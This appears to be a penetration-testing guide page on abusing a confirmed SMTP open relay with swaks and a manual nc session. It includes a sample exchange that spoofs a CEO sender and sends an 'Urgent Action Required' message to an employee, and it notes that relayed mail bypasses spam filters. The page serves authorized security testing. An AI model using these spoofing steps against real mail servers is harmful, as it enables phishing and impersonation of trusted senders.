SMTP Relay Exploitation
A confirmed open relay allows sending mail through the target's trusted mail infrastructure as any sender, to any recipient. Mail delivered through a legitimate server bypasses many spam filters and appears more credible to recipients than mail from an unknown IP. Confirm the relay condition first through open relay testing before using this page.
Important
Only send email through relay servers on targets you have explicit written authorization to test. Sending unauthorized email through third-party infrastructure is illegal in most jurisdictions regardless of engagement scope.
Send Test Mail with swaks
swaks is the most capable tool for SMTP relay testing. It handles STARTTLS, custom headers, attachments, and full session logging in a single command:
=== Trying 10.10.10.50:25... === Connected to 10.10.10.50. <- 220 mail.company.com ESMTP -> EHLO kali <- 250-mail.company.com -> MAIL FROM:<[email protected]> <- 250 2.1.0 Ok -> RCPT TO:<[email protected]> <- 250 2.1.5 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> . <- 250 2.0.0 Ok: queued as A1B2C3
Send with Spoofed Sender and Custom Headers
Craft a convincing email with a spoofed From address and a custom subject. On an open relay the MAIL FROM and the From header can differ — the header is what the recipient sees:
Send via STARTTLS
Use STARTTLS when port 587 requires encryption. swaks handles the upgrade automatically:
Send with Attachment
Attach a file to the relay test message. Useful for confirming attachment filtering and AV scanning on the relay:
Manual Relay via nc
When swaks is unavailable, send manually via nc for a controlled interaction:
220 mail.company.com ESMTP
EHLO attacker.com
MAIL FROM:<ceo@@company.com>
RCPT TO:<employee@@company.com>
DATA
From: CEO <ceo@@company.com>
To: Employee <employee@@company.com>
Subject: Urgent Action Required
Date: Mon, 28 Mar 2026 12:00:00 +0000
Please review the attached document immediately.
.
QUIT
References
-
Swiss Army Knife SMTP — full-featured SMTP testing tool
Was this helpful?
Your feedback helps improve this page.